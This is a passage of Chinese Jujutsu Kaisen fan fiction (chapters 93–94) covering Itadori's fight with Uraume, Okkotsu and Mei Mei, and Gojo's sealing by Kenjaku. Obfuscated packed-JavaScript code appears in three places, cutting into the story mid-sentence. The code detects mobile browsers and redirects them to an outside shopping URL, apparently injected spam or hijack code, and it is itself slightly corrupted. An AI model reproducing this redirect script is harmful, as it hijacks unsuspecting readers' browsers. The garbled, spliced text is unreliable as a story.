“悟已经进去了。忧太,你准备怎么办?就算现在找到最快的交通工具也应该来不及了。”
在一旁偷听他们通话的日下部笃也想说什么,但是又有点犹豫。万一这家伙回来之后因为虎杖悠仁的原因跑到对面去了怎么办啊......本来他自己就是个可疑分子,还有一个跟诅咒师混在一起的恋人,日下部笃也觉得怎么想五条悟都不该对乙骨忧太抱有这么大的信任。
乙骨忧太拉上包裹的拉链,将它送到了里香存放咒具的地方。临时住所里没有开灯,鹿儿岛今晚的月色很亮,足够照亮整间屋子。房间里空旷干净得有些过分,根本看不出有人在这里住过半个多月的样子。
“这个......我刚刚联系了冥小姐,现在在等她,”乙骨忧太背对着月光靠在窗边,注视着自己影子的轮廓,“不出意外的话很快就能过去了。机械丸同学,你在听吗?我想知道悠仁在涩谷到底干了什么,拜托你了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378231|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
电子机械丸传出的声音通过手机讯号传递到了岛屿的最南端,愈发失真,像是在听什么存放了多年的陈旧录音带。
“......是吗,多谢。”
乙骨忧太堪称平静地听完了机械丸的简单叙述,心中多少有点数了。挂断电话后,他开始等待冥冥的到来。
这个特立独行、只为钱行动的自由咒术师并没有过分靠近涩谷的中心,但也没离得太远,甚至比其他人想象中更早地参与到了其中。只是在【黑鸟操术】能够像机械丸的傀儡们一样发挥作用之前,她遇到了亲自前来截杀的羂索。
冥冥爽快地答应了乙骨忧太的交易请求,并且分文不取。当然不是她大发善心,或者突然觉得应当将乙骨忧太这个五条悟之下的最高战力立刻送到危机四伏的涩谷去,而是这个黑发少年拥有着几乎在整个咒术界都凤毛麟角的能力。
“用你的反转术式换忧忧使用一次术式,你觉得怎么样,乙骨同学?”
“帮大忙了,冥小姐。成交。”
冥冥如约而至,搀扶着她的是同样满身狼狈的白发少年。
吉野顺平跟着熊猫他们一起在“帐”外移动起来。根据七海建人等人传回的情报,最外层困住普通人的结界应当也是一个嘱托式的“帐”,只要找到最关键的根基并破坏它们,就能解放大部分被围困的普通居民。
“所以,我们现在要去找三个只有手掌大小的橛子?那应该会有敌人负责看守——”吉野顺平边跑边说,可他话音未落,半径超越四百米的“帐”突然毫无理由地破溃了。
“啊?”日下部笃也和熊猫面面相觑,谁也无法断言究竟发生了什么。
“那个是,”吉野顺平抬头,看见了半空中盘旋着的式神,“是伏黑同学的‘鵺’!他们在那边!”
虽说现在应该分头行动效率更高,可是根本没有人能够搞清楚这里究竟发生了什么,自然也谈不上进行合理地人员分配与指挥行动。日下部笃也叹了口气,他才懒得管什么分配啊、分工啊之类的问题,汇合之后至少不至于带着两个学生单独面对危险。
尽管七海建人肯定会提出分头行动,不过能拖一会儿是一会儿,他才不想靠得中心太近。
他们花了点功夫在首都高速3号涩谷线C塔前汇合,日下部笃也在见到懒懒散散跟在伏黑惠身后的那道身影之后就觉得大事不妙。
“总之就是发生了这样那样的事,”伏黑惠指了指身后的人,“他暂时跟着我们一起行动。”
......再多说点什么来解释啊,拜托了!!还有,真的没人在意为什么最外围的“帐”会突然自己破坏了吗?!
“日下部先生,接下来我们——”七海建人刚开了个话头,变故突生。
宛如地动山摇般的战斗在远离他们、更靠近剩下的“帐”中心的地方爆发了。脚下的地面能够感受到从远方传来的震荡,平整的路面再也坚持不住,从角落和连接处出现了细密的裂纹,碎石和尘埃在地上跳着舞。
他们看见了绽放在半空中的冰花。
毫无疑问,里梅无愧于冻星的称号。这里已经完全变成了极寒地狱,连最简单的呼吸都仿佛会有凝结的冰棱刺破肺部,可虎杖悠仁却不敢乱了自己呼吸的节奏,只要有一口气或者一个动作出现差池,他就有可能被从天而降的冰锥刺穿心脏。
他凭借急速奔跑让自己的体温不停升高,通过大幅度的动作来避免让超低温的咒力附着在自己的身上,生成凝结的冰霜。
他根本没办法在这样的环境中隐藏自己,口中呼出的白气无法避免,而且不管他怎样跑动,皮肤和衣服上都已经开始爬上白色,寒冷已经透过衣物侵蚀他的关节。
就算用【御厨子】切碎了在眼前生成的冰层障碍,里梅操纵术式的熟练程度也远高于他,几乎眨眼间就会有新的冰棱旋转着向他袭来。
虎杖悠仁不知道里梅对他的术式了解到了什么地步,不过以自己的底牌已经被她完全看透来思考更稳妥一些。
他在寻找一个机会。
里梅施用【冰凝咒法】生成的屏障意图围困住移动速度极快的虎杖悠仁,但很快她就发现事情并非她想象得那般顺利。
飞驰的冰锥追不上粉发少年的移动速度,对【御厨子】的使用几乎在战斗中肉眼可见地成长着。
比起宿傩大人无形的斩击,虎杖悠仁的“解”似乎更好应对,只需要保持“阻隔视线”这一条件就能规避伤害。
虎杖悠仁当然明白这一点。他的斩击不具备“厚度”,虽然从概念上来讲不论哪种体积的物体,只要被他盯上,将“切断”这一现象变成现实,他都一定能够将之彻底斩断,可他却没办法让“切断”透过障碍物攻击到后方躲藏着的东西。
但是,如果能够将他拥有的两种术式结合……只要距离、焦点都恰到好处,剩下的就是速度的比拼,看谁的反应更快了。
虎杖悠仁没把握胜过里梅。如果她和宿傩是同一时代的术师,那么必定身经百战。在战斗与生死之间厮杀出来的能力与反应都几乎要被划为本能,要在这样的术师面前卖弄自己的能力、试图投机取巧,简直就是痴人说梦。
不过,虎杖悠仁多少还是能够承受得住豪赌带来的紧张与刺激,现在要做的只不过是和在柏青哥游戏厅里按下开始键一模一样的事。
那就,来赌一把吧!
93. 第 93 章
冥冥破除了特定疾病咒灵疱疮婆的领域,但自己也在被关进狭窄的棺木中时感染了细菌和病毒,从指根开始直至整条手臂的皮肤都开始溃烂,生成大小不一的脓疱疮。离开疱疮婆的领域后还遇到了亲自来解决她的羂索,在尝试对抗后判断自己不敌,便迅速借助忧忧的术式离开了涩谷。
如果只是单纯的受伤倒是容易治愈,可冥冥伤势的根源来自于在领域中感染的病毒,从未接触过毒素和病菌的乙骨忧太在利用反转术式解析治疗的时候花费了更多的时间。
“如假包换,我见到的那个人就是夏油,”冥冥在治疗的间隙提醒他,“不论是声音、外貌还是术式,都指向了同一个人。”
“夏油先生已经去世了。”乙骨忧太只是这样说道。
他亲眼看着装有尸骸的棺椁下葬,如今存在着的“夏油杰”不过是鸠占鹊巢的恶魔。冥冥没再说话,不知道究竟信了没有。
乙骨忧太觉得她这幅模样倒像是彻底对这个国家失去了信心,看来涩谷那边的情况......好在还有忧忧的术式能让他快速赶到战场中心,如今再怎么担心都没办法改变现状。
不过是从山顶滚下的巨石再一次压断了支撑着它的山体,总有人不肯让他们安安分分地活下去,好像只有被他们为了躲避石头而狼狈逃窜的模样逗笑才肯罢休。
虎杖悠仁一脚重踏,震裂了从地底刺出的冰棱。
地下管道内的水让里梅更加轻松地为这个极寒地狱构筑更加洁白的装饰,整片街道以及高楼的低层玻璃上都爬满了冰霜,骤然降低的气温令脆弱的填充物崩碎变形,大楼发出令人牙酸的挤压声。
“你知道为什么现代的术师没有一人能够达到宿傩大人的高度吗?”
里梅垂眸站在原地,感受着脚下传来的大地的哀嚎。
自然无人应答,不过她本就不是为了得到某种答案而发问。
【冰凝咒法】,最大输出——
“因为他们囿于人性,固守人类这一身份,为此宁愿压抑体内日益膨胀的力量也要遵守对他们而言可以轻易打破的条条框框。”
虎杖悠仁的身影消失在了里梅的视野中,不过她并没有失去对少年位置的感知,一个小小的冰之漩涡在她双掌中旋转,像是被打翻了的雪花水晶球。
“这正是他们畏惧的孤独之源泉。”
——“霜凪”。
里梅将过度冷却状态的咒力吹向了半空,那些轻飘飘的、闪着亮粉一样的漂亮冰晶却以无人能及的速度迅速弥散在空气中,像一张大网一样等待着自己的猎物自投罗网。
跃至半空的虎杖悠仁深吸了一口气,下一息就被扑面而来的冰雾笼罩了进去。
冰浪定型,仅仅眨眼之间就填满了整条街道。里梅的这一击没有留手,她在确定虎杖悠仁闯入“霜凪”的覆盖范围之后微微屈膝,跳起迎向能够模糊看见一个阴影的地方,被咒力强化过的拳头呼之欲出。
被她的冰冻住之后就算简单地随意乱动都能扯掉皮肤、折断肢体,如果直接用外力将包裹着对手的冰击碎,能够重新将尸体拼凑完整都算是她手下留情了。
不过虎杖悠仁的尸体不需要太过完整,在呈给宿傩大人之前她还会好好料理一番。
里梅一拳打碎了坚冰。
预想中被冻住的尸体四分五裂的景象却没有出现,反倒是那处阴影伴随着飞溅的冰屑碎块瞬息接近了还没收回拳头的古代术师。
里梅只看见了粉发少年逼近的拳头和因为铆足力量而鼓起的脸颊,随即就被一股巨力掀飞了出去,重重地撞断了自己制造出来的数根冰棱后才勉强减轻了冲击力,在被打出自己的优势场地之前停了下来。
虎杖悠仁乘胜追击。
“果然如此,”里梅用手背蹭掉淌过嘴角的鲜血,掌心出现了被拉得狭长的冰之漩涡,“那就是你的第二个术式?”
抬手间便有无数冰锥在里梅周身回旋着,它们像是排列整齐的长枪,尖端发出可怖而刺眼的光。
虎杖悠仁继续前冲,里梅似乎已经放弃在地上生成新的冰棱来阻碍他的动作,这让他一路畅通无阻。
她已经发现了......但看样子还不清楚【反重力机构】如何运作,虎杖悠仁明白自己必须抓住这个机会。刚才他利用顺转的术式在自己周围创造了一片“拒绝了重力”的空间,像是暴风雪中唯一的一处庇护所,涌入的冰晶们停止了扩散,留出了唯一可能幸存的机会。
再快一点——!!
飞扬的雪屑和激战中无处不在的冰晶阻碍了视线的聚焦,【御厨子】迟迟无法真正锁定目标。
“说到底也不过是拙劣的冒牌货,”里梅怒吼,“少在这丢人现眼!!”
......他不应该还能这样快速地靠近。
粉发少年的脸上、手上还残留着从最大输出的“霜凪”中逃脱时被冰刺划破的血迹,却不见伤痕。
果然是反转术式。
被里梅制造出来的极低温咒力已经填满了这片战场,如果虎杖悠仁体表没能如她所愿结成冰霜还能用他始终保持着高速运动的姿态来解释的话,那么被吸入肺部的那些空气呢?那些细小的冰晶为什么没有划开他的气道、冻伤他的肺?
他甚至连呼吸困难的模样都没有表现出来,就算有反转术式,想要修复内里的伤害也绝非易事,除非他一早就料到她也许会在他们周围的空气中动手脚......里梅甚至开始怀疑是不是羂索提前向他透露了什么。
虎杖悠仁觉得自己整个人都火辣辣地烧着。也许是反转术式在被逼至极限的精神引导下无意识地运转着,也许只是单纯的因为他的体温还在不断升高,那些在咒力催化下形成的微小冰晶被吸入体内后便立刻融化了。
里梅向后退了一步。
这一步的距离让她出奇地愤怒,被她视为应当谢罪的耻辱。
几乎眨眼间闪至她身前的虎杖悠仁脸颊立刻爬上了洁白的霜,可它们却在里梅的注视下迅速消失得无影无踪,紧随其后的便是看似简单却隐藏着爆炸性力量的出拳。
在自身变态的身体天赋和咒具的加持下,虎杖悠仁这一记用上了全部力量与技巧的挥拳已经无比接近咒力的核心,只是蜂拥而至的咒力终究迟了一拍,这细微的差距令他错失了击出咒力暴击的机会。
里梅抬臂,极富技巧性地挡住了虎杖悠仁的拳头。她不惜亲身拦住这一击只为了近距离发动术式,可惜她到底是小看了虎杖悠仁的力量。
包裹住拳头那只手臂顷刻间向后折去,少年似乎已经预料到了现下的场面,拳路剑走偏锋,直接拐到了里梅的脸上,再一次打中了同样的位置。
这一次,一先一后两股咒力浪潮完完全全地灌输到了里梅的身上,短时间内二度爆发的力量终于令虎杖悠仁突破了刚才没能越过的关口,追逐到了那道黑色的闪光。
沿着手臂攀升的寒冷咒力在主人倒旋着砸入建筑中前只堪堪结成了冰壳,很快便在虎杖悠仁甩臂的动作中抖落在地。
到时候得好好谢谢胀相了,虎杖悠仁心想。
生来便习得【赤血操术】精髓的九相图虽然不擅长教人,不过倒是将其中的奥义“百敛·穿血”的施放过程艰难地说明白了。虎杖悠仁无法像胀相一样操纵血液,不过积蓄力量、压缩、再将其一口气击出,以此达到足以超越音速的初速度,这样的诀窍同样能够被利用到身体对抗或者其他地方当中。
这样就变得清晰一点了。
虎杖悠仁单手扶着另一侧的手臂,用指尖辅助自己确定了施术对象。少年目光如炬,盯着因为闯入异物而烟尘四起的建筑废墟,口中喃喃道:“解。”
他似乎进入了一种极为奇妙的状态,耳边持续的嗡鸣着,可却意外能够听得很清晰。冰花上裂纹扩大的声音清脆悦耳,极远处有混乱的脚步声,地面下是爆裂的水管汩汩出水的声音。夜风吹开了遮住星星的云,让他披上了月光织成的罩袍。
他这时才发现自己的体温高到有些不太正常,因里梅的咒力而凝结的冰霜落在他的皮肤上就如同和被烤热的石头亲密接触,甚至发出了怪异、微小却刺耳的滋滋声。
黑闪令他再度进化。
尘幕未退,升腾的极寒因术师的暴怒卷土重来,地面霎时被冰霜笼罩,比原先所有的冰棱都要粗壮的团簇冰晶宛如拥有自己的生命一般汲取着大地的养分,咆哮着向虎杖悠仁疾驰而来。
最大输出——直瀑!!!
里梅被那一记谁都没有料想到的黑闪打入了建筑一层的办公室,墙壁上被砸出的空缺正正好好将粉发的少年框在了正中。
她单手触地,将身上所有的咒力全数灌注进了这片土地,让那些生长的冰晶裹挟着满溢的杀机脱离地面直冲半空,再宛如冰锥瀑布一样和在地面上泛滥的冰霜一同攻向突然选择停留在原地、保持抬臂姿势不动了的虎杖悠仁。
里梅尚且来得及将视线瞥向破洞处横平竖直的切口。虎杖悠仁在她落地起身后发起的那一发“解”只是将她砸出来的洞切得更大一些而已,可里梅却在其中嗅到了前所未有的危机感。
那些切口泛着接触高温造成的亮红,像是刚从锻造炉中取出的刀胚一样,能让人轻易想象到那可怖的温度。
也许是因为再没有碰到过像样的对手,亦或者是见过那一招的人全都被烧成了焦炭,现代的术师们并不完全了解诅咒之王的术式。但里梅的心里再清楚不过,那样的斩击和高温——
致命的冰晶没有死角,完全遮盖了天空与大地,却在围攻立于中心的那个少年时止步于三米的极限距离。
半径三米的超级重压区隔绝了一切妄图靠近的冰棱,三米之外半径超过二十米的重力异常区让原本瞄准
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378232|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了脖子、心脏、大脑之类致命处的枪形冰锥失去了准头,即便能够越过这片区域,最终的结局也不过是在三米这个绝对红线处被重压击落,化为齑粉。
他们将对方看得很清楚,重压区的中心点,虎杖悠仁遥遥找准了施术的方向。
他这算是、有点咒术天赋吗?
真是可笑啊,最后居然要用宿傩的术式来分胜负。
那是能够带来死寂的火,断壁上留下的灼热尚不及里梅记忆中灰烬的余温,可是就算再如何想要嘲笑、贬低眼前这个被抛弃的容器,事实已经摆在了她的眼前。
“你不过是,”她抬起手臂,用僧衣宽大的袖子遮住了自己身体,将最后的进攻藏了起来,“吞下了他的手指而已。虎杖悠仁,我承认需要对你有所改观。”
为了获得力量能够抛弃一切的人、乃至天生如此的家伙,哪怕不愿自称非人,总有一天也会被扭曲的力量吞噬,或视他人为异类,或彻底放弃人性,成就自我。
一如诅咒之王。
虎杖悠仁瞳孔骤缩。
他没办法像宿傩一样玩弄那滩流淌着的火焰,哪怕黑闪带着他突破了某种瓶颈,想要眺望【御厨子】真正的主人,无论如何总还是要抬起头来的。
那只是让高温和斩击一起变成现实的技法,将敏感的、脆弱的、易燃易爆的咒力附加于斩击之上,在碰到术式对象的实体时——
——
伏黑惠脚边的灌木被无形的冲击波压得顺着风的方向倒伏,正在赶往战斗爆发地的咒术师们不约而同地停下了脚步,来应对这次冲击。
从他们所在的位置根本看不清发生了什么事,周围的气温虽然在异常地下降,可伏黑惠在见到飘落的雪花时还是忍不住疑惑地哼声。
“呵呵,真是好大的动静,”禅院甚尔一副无所事事的样子,“又是那个六眼小鬼搞出来的吗?”
伏黑惠觉得如果真是五条悟的话倒是能让人安心下来。
日下部笃也叼着糖棍不情不愿地跟在七海建人身旁。按理说在这样的紧急情况发生时,一级术师们应该单独行动才对,他和熊猫还有一年级的新生怎么看都更适合去搜寻被困人员,结果被拉着一起往“帐”的中心走了……
绕过遮挡视线的大厦,他们只来得及看清半空中尚未落地就已经消散得无影无踪的冰屑,以及从更远处冒出来的、像是能将夜空烧出一个窟窿的火光。
日下部笃也打了个冷颤。走到这里就能够明显地意识到气温骤降肯定出自交战双方某一人的术式,不过越往里走,气温也开始逐渐回涨,在树梢上留下摇曳光影的熊熊火焰似乎说明了这场战斗的最终胜利者。
现场也足够令人触目惊心。
“什么啊,不是那家伙吗?咒术界终于来了点稍微有本事的家伙。”
伏黑惠闻言不解地问:“你说的是五条老师?你怎么……”
禅院甚尔挠挠头:“也对,那家伙怎么会主动把自己的糗事告诉别人啊~”
天与暴君在战斗上的天赋无人能及,这一点不光体现在他杀人的伎俩或者强悍的身体素质上,还有他那双能够捕捉到常人难以看清的细节与痕迹的眼睛。
一方是经验老道的家伙,恐怕年纪也不小,是个喜欢站着放大招的主,这倒是和五条悟有点像。
另一个下手没轻没重,应该是个莽撞的年轻人。但多少有点蛮力在身上,不然想要把这片地区践踏成这个模样可不是简简单单就能完成的。
他们在远处看到的火光只是离中心更近的一棵树被火星点燃,在红与黄的火焰中烧成了木炭时留下的最后光景。
“......”吉野顺平第一次见到这样惨烈的战场,大地开裂、周围的楼宇破败不堪,他们来时还能看见的冰浪残骸在眼前崩解,露出了内里被冻住的断壁残垣。
七海建人冷静地分析道:“看来这些冰造物是纯粹的咒力结晶,这附近没有看见尸体,很难说它们的主人是死在了这场战斗中,还是远离了这附近。”
熊猫拍了拍一年级新生的肩膀:“别太担心。”
只是除了对咒术界了解不深的吉野顺平和意外出现在这里的禅院甚尔,其他人的心中多少都产生了不太好的预感。
从这里留下的残秽和尚未完全消散的咒力气息能够窥见交战双方并非普通术师,至少都有一级甚至以上的实力,尽管也不排除其中有特级咒灵的参与。如今的三大特级咒术师中除了五条悟和乙骨忧太,剩下的就只有九十九由基还没露面,而她的术式也像她本人一样神秘。
七海建人倾向于否认自己的这个推测,不然的话只会让涩谷的袭击变得更加复杂而已。
伏黑惠的眉头从他看到了破损建筑物上留下的削切痕迹后就一直没有松开。
“......虎杖?”
那是两面宿傩的咒力。
94. 第 94 章
虎杖悠仁拖着被冰撕裂的半侧身子继续奔向自己的目的地。
伤口恢复得很慢,但至少靠近要命的地方的伤势都已经被他用反转术式简单治愈,不再出血。
咒力奔涌的畅快已经渐渐从身体中褪去,升高的体温也冷却了下来,只剩下持续快速跳动的心脏还在敲打着他的胸腔。
他和里梅的战斗两败俱伤。不,若论一对一的话,毫无疑问是他输了。携带着高温的斩击尚且稚嫩,未成熟的技法直面千年前活跃在宿傩身旁的里梅,落败似乎是命中注定。
但他狂妄地没有躲避,明明还有更重要的事情等着他去做,明明还有很重要的人在等着他,可是他依旧死死站在了原地,未生退意。
不稳定的咒力在接触到寒冷的冰晶时摩擦出了点点火星,然后引燃了周围所有附带着同样特性的咒力,直至这片空间完全被烈火和冰屑覆盖,不分彼此。
喘息着重新睁开眼,目之所及的地方却与闭眼前截然不同,虎杖悠仁挣扎着起身,看到了蹲在远处的枷场姐妹。
“......菜菜子?这是?”
“咳咳、咳——你这混蛋,是想站在那里等死吗?!”枷场菜菜子愤怒地将已经没办法再使用的手机扔到了虎杖悠仁身边。她本想直接砸到他身上的,可是看到粉发少年可怕的伤口终是改变了想法。
机械在地面上被摔得粉碎,虎杖悠仁稍微清醒了一些。
枷场菜菜子和美美子用她们的术式将他救出了那个极寒与烈火矛盾地共存着的地狱。
“悠仁,这是唯一一次了,”枷场美美子扶着因为以极限方式使用术式而导致咒力透支的菜菜子,对虎杖悠仁说道,“你已经用掉了最后的‘复活’机会,接下来只能......一命通关。”
她说话间低下了头,不再看他。
虎杖悠仁苦笑道:“这真不像是你说话的风格,美美子。不过......我明白的,多谢你们。”
他站起身,伤口处渗出的血顺着指尖滴在了地上,像是某个雨季撑伞回家后汇聚在伞尖的水渍。它们落在混凝土地面上时留下的颜色差不多。
少年头也不回地离开了这片无人的地方,女孩子们留在他身后,没有道别,因为他们都知道语言的力量是最可怕的东西。而且,他们也太过了解对方。
在虎杖悠仁走远之后,枷场美美子轻声道:“菜菜子,我们......”
同胞姐妹总是心有灵犀的:“......可恶!必须得让他付出代价才行!”
虎杖悠仁离开枷场姐妹后迅速确认了他现在所在的位置,重新规划着最短的路线。他已经被拖延了太久,然而急切想要抵达目的地的心却并不如他想象中的那样坚定。身体仿佛脱离了他的掌控,机械性地移动着。
事到如今,再想后悔不就等于在说他还只是个只会逃避的混蛋吗?!
他一头钻进了地下通道。
“......”
他止步于台阶前,从高处望向倾斜着的通道尽头露出的一角。
呼——吸——
“............”
他深深地吸气,可周围的空气却仿佛凝固了一般,非要看他因为喉咙哽住呜咽出声才吝啬地撑开了他的肺。可怕的晕眩过去后,那些发黄的骸骨仍待在原地,无声地在他心中嘶嚎着。
虎杖悠仁向后退了一步,他转身就跑,好像后面有什么足以彻底击溃他的东西似的。
他拒绝在这里被“杀死”,不断倒退的街景和吐出的白气化作锋利的刀刃,想要前进就必须让自己被它们剥筋剜肉,只有这样他才能真正看清自己的内里究竟是个什么东西。
如果一个人无数次地说服自己,可他自己的说辞总会被现实一遍遍打破,是否连他自己都慢慢的不会再相信自己许下的誓言了呢?那些东西都变成了受人讥讽的玩笑,再也没人会认为他曾真的想要改变什么、做成什么、哪怕被嘲笑滑稽也要拼了命地去追求什么。
这样也太可怕了。
虎杖悠仁一头撞进了将副都心线站台整个笼罩进去的“帐”,寻找着前往地下站台的入口。
他离开那个地下通道的入口后没多久,和七海建人他们分开行动的伏黑惠撞上了正巧来到同一片区域的禅院真希等人。因为“帐”外也有诅咒师在袭击辅助监督,所以原本和他们一起的钉崎野蔷薇也决定分开行动,留在外围解决作乱的诅咒师。
“你、难道?”
禅院直毘人的胡子跳了一下,有些难以置信。
“啊?老头子你终于把自己喝傻了吗?惠,你后面那是谁?”禅院真希扛着咒具,指了指表情有些一言难尽的伏黑惠。
这算什么?禅院家开大会吗?
不过伏黑惠自认为和禅院家已经没什么关系了,五条悟花了大价钱把他从那里“买”了出来,算上不知原委更名换姓的天与暴君还有不喜欢别人叫她姓氏的禅院真希,现任禅院家主直毘人倒是显得有些孤立无援了。
“结果就是会发生这种事啊,怎么总是碰见老熟人。”男人挠了挠后脑,抬手间鼓起的肌肉让禅院真希看出了点不太一样的东西。这个人......这种别扭又熟悉的感觉是怎么回事?好像在看一个和自己很相似却又截然不同的存在。
姓氏对天与暴君来说是最没用的东西,既代表不了什么,也决定不了什么,不过如果硬要选择一个的话......
“哟,没想到你还活着啊,”伏黑甚尔随意笑着,向禅院直毘人打了个招呼,“提醒你一句,我现在姓伏黑。”
他不容拒绝地将手臂搭在了伏黑惠的脑袋上,幸灾乐祸地看着禅院直毘人:“这小子不姓禅院真是太好了啊。”
“呵呵,那你可得好好感谢五条悟,”禅院直毘人摸着胡子,喝了一口酒,“毕竟他才是花了大价钱的那个,比当初许诺给你的要多得多啊。”
伏黑甚尔的表情立刻臭了起来,就像亲眼看着自己押注的那匹马在冲线前突然被超越了一样恶心。
伏黑惠不关心过去的种种交易,毫不留情地远离了伏黑甚尔,提醒道:“前面有东西。”
玉犬们一左一右警戒在他的身旁,所有人都已经感受到了从地下通道拐角处传来的压迫感。
和交流会上遇到的那个大树根给人的感觉差不多,不过咒力中带着一丝咸腥的海味,让人有种来到了东京湾的错觉。
“看来来了个不得了的家伙啊。”禅院直毘人多少认真了一些。
寂静空旷的通道尽头,一颗光滑的头骨骨碌碌地滚了出来,空洞的眼眶望向了他们所在的方向。
“这......”禅院真希扔掉了薙刀的刀鞘,帮助她看清咒灵的眼镜镜面反光中映出了让伏黑甚尔都觉得有点惊讶的荒诞景象。
无数灰白泛黄的人骨如上涌的潮水一样淹没了通道的地面,甚至因为数量太多而相互堆叠,有什么东西在后面推着它们前进,滚动的声音让人汗毛倒竖。
简直是只有恐怖电影或者游戏中才会见到的场景,成堆的人骨后走出了一个形似章鱼却长着人一样身体的咒灵。
“你的身手应该还没退步吧?”
“喝多了吧你?跟一个死人说什么退步呢?”伏黑甚尔咧开嘴,狰狞地笑了起来。
禅院直毘人爽朗的笑声响彻了整条地下通道:“哈哈!!要是你在小辈们面前丢脸那可就太不风雅了!!亡灵!!!”
吞噬了大量人类、终于从咒胎变态为特级咒灵的陀艮扬着触须,吞吞吐吐地说道:“人类......我们才是新人类。我和我的同伴们要赢得这场战争,然后让同胞们自由地生活在这片土地上。”
可惜,没人有耐心听完它的宣言。
术师杀手从伏黑惠手中抢过咒具,开始了复活后的第一场狩猎。
——
灵魂与肉|体究竟哪方更优先呢?
如果问真人,它当然会毫不犹豫地说出是灵魂优先。在它眼中,生命的肉|体都是由灵魂构造而成的,所谓情绪也不过是灵魂的泪滴,是产自存在本源的秽物。若因开心、苦痛、绝望之类的情绪而生成了思考生命价值的想法,那都是最笨的笨蛋才会去做的事。
生命本没有任何价值,想杀就杀,想玩就玩,身为诞生自对人类的憎恶与恐惧中的咒灵,真人无比清楚且坚信着这一点。
“呵呵,它说的倒是有些道理,不过这也没办法解释一些事实,”羂索拉开紧扣着脖颈的右手,好像他们正在谈论什么能够动摇认知根基的问题,“我的术式在占据肉|体之后能够继承身体所有的记忆,还有这个......”
他看了看像是突然回光返照般挣扎起来的右手,似乎被自己的某些想法逗乐了,发出了难耐的笑声。
“以及——”
羂索的眼睛转向受缚的五条悟,居高临下地说道:“虽然情况与我预想的有些许出入,不过结果还是一样的。”
狱门疆被隐瞒得很好。这是羂索最重要的致胜法宝。
勉强摆脱短暂展开的“无量空处”影响的真人笑嘻嘻地嘲笑他:“结果你自己也被搞得惨兮兮的嘛。”
当事人翘起嘴角。正如他所说,过程的确超乎了他的想象。似乎是因为早已对“夏油杰可能出现”的这一情况有了心理准备,所以当他试图重现那个人的音容笑貌时,拙劣的伪装没能撑过哪怕一秒,一发赤红的“赫”就已经打烂了他的半侧身子。
只要再歪上一点,他就要遗憾地陨落于此,再与自己的梦想无缘。
不过,哪怕付出了如此“惨痛”的代价,羂索依旧成功地让狱门疆打开了通向地狱的大门。
就算灵魂明确地知道“眼前的人并非自己曾经的挚友”,可大脑还是不由自主地回想着、怀恋着他们曾经共度的日月,即便亲手为他收殓尸身、亲自埋葬又亲手重新撬开空无一物的棺木,原本认定自己绝不会动摇的最强依旧在见到那张熟悉又陌生的面庞时松懈了一瞬。
狱门疆剥夺了五条悟的回忆,它以此为食粮,印证了过往存在的重要性。人若是离开了回忆,便不再是他自己了。
羂索敲了敲自己的头,刺眼的缝合线让五条悟对他怒目而视:“你还真是个怪物。”
在进行领域展开后术式会进入熔断状态,大脑上的回路会像一台因为过热而罢工的机器,按理说是没办法使用【无下限咒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378233|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
术】发出“赫”的,可五条悟就是做到了。
真人晃着脑袋:“他为什么还能使用术式?”
羂索却没有解答它疑问的意思。回答五条悟的质问似乎已经耗尽了他所有的耐心,阴险地活了千年的术师终于完成了成就大业中最关键的一步,亦是他在这千年两度失败的事。
“晚安,五条悟,”他由衷地开心笑着说,“让我们在新世界再见吧。”
天赐良机,而他再度抓住了命运的咽喉。
“......”阴影压下来的时候,五条悟不再说话。
狱门疆彻底闭合,将内部的空间连同被关入其中的对象一起压缩,体积缩小到了只有手掌大小,像是未曾使用过一般。
21时27分,五条悟被封印在了狱门疆中。
接住它的却并非羂索。
一发来自人群中的“穿血”精准地击中了这个犯了禁忌的咒物,超越音速的血柱将狱门疆送到了不知何时出现在对侧的粉发少年手中。
“我不记得有允许你靠近这里,悠仁,”羂索微微侧身,“把狱门疆给我。”
这个小东西没有虎杖悠仁想象中的那么重,落在他手里的时候甚至轻快地转了一圈,却差点让他没能拿住,从手掌中掉出去。
他觉得灰色表面上张开的那些眼睛像极了五条悟的六眼,除了它们没有谁的眼睛会是那种仿佛苍天延伸一般澄澈的蓝。
真人打了个呼哨:“我就说这家伙根本不好好出力,肯定是憋着坏心思呢~”
漏瑚很快也从被强行塞入大脑的庞杂信息中清醒了过来,扭了扭“耳朵”:“哼,不告诉他们本就是最正确的选择。喂,接下来我们......等等。”
火山头咒灵阴沉地看着始终对峙着站在原地对望的羂索和虎杖悠仁:“小鬼,为什么不把狱门疆送回来?”
虎杖悠仁面无表情,只是双眸亮得惊人。
在漏瑚因为被无视而彻底暴怒之前,羂索看着站在原地的虎杖悠仁,慢悠悠地说道:“你好像发现了啊。”
